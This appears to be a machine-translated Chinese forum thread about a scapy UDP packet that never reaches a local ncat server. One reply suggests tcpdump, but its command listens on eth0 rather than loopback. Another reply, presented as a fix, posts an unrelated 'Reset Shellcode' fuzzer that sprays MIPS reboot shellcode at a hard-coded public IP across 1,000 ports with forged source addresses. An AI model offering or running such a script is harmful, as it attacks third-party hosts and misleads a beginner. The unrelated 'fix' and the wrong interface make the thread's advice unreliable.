我做了一个简单的程序,试图向我的 ncat 服务器发送一个 UDP 数据包
这是代码:
from scapy.all import *
sr1(IP(dst="127.0.0.1")/UDP(dport=8080)/"TAG1")
但我从我的 ncat 服务器什么也没得到,有人可以告诉我我做错了什么吗?
在开发网络相关项目时,我建议您安装捕获软件,如 tcpdump 或 wireshark。它可以帮助您查看网络中的内容。
要使用 tcpdump 将所有数据包发送到 127.0.0.1,您可以使用以下命令:
tcpdump -i eth0 "dst 127.0.0.1 and dst port 8080"
尝试这个
from scapy.all import *
print("Remote UDP Mips Fuzzer - Reset Shellcode")
for num in range(0,10):
data = "00" * int(str(num))
sc = "3c06432134c6fedc3c05281234a519693c04fee13484dead24020ff80101010c"
a = data+sc
for ip in range(0,255):
for port in range(0,1000):
i=IP()
i.dst="213.48.152.128" #Change this
i.src="10.0"+"."+str(ip)+"."+str(ip)
udp=UDP()
udp.sport=int(str(port))
udp.dport=int(str(port))
sendp(i/udp/a)
看看它怎么运作 ?